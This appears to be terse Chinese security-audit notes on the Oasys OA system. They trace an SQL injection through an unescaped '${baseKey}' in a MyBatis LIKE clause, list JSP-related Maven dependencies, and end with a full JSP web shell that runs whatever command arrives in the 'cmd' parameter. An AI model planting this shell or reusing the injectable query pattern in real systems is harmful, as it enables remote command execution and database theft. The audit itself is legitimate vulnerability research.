Oasys 系统审计

//进行逻辑判断，来根据那个排序，类型、状态、修改时间  传递了basekey参数              List<Map<String,Object>>sortMyNotice(@Param("userId")Long userId,@Param("baseKey")String baseKey,@Param("type")Integer type,@Param("status")Integer status,@Param("time")Integer time);

uri映射路径是informlistpaging@RequestParam是通过web参数进行传递这里调用了setSomething，setSomething(baseKey, type, status, time, icon, model);跟进查看，只是进行判断不为空即可if(!StringUtils.isEmpty(baseKey)){                 model.addAttribute("baseKey", baseKey);              }然后就是将数据存储在列表里List<Map<String, Object>> list=nm.sortMyNotice(userId, baseKey, type, status, time);

查看xml层代码，发现有俩%%，加上%发现成功返回数据<if test="baseKey !=null">      and n.title LIKE '%${baseKey}%'    </if>

<dependency>  <groupId>org.springframework.boot</groupId>  <artifactId>spring-boot-devtools</artifactId>  <optional>true</optional></dependency><dependency>  <groupId>org.apache.tomcat.embed</groupId>  <artifactId>tomcat-embed-jasper</artifactId>  <scope>1.2</scope></dependency><dependency>  <groupId>javax.servlet</groupId>  <artifactId>javax.servlet-api</artifactId>  <version>3.1.0</version>  <scope>provided</scope></dependency>

%    java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();    int len = -1;    byte[] bytes = new byte[1024];    out.print("<pre>");    while ((len = input.read(bytes)) != -1) {        out.println(new String(bytes, "GBK"));    }    out.print("</pre>");%>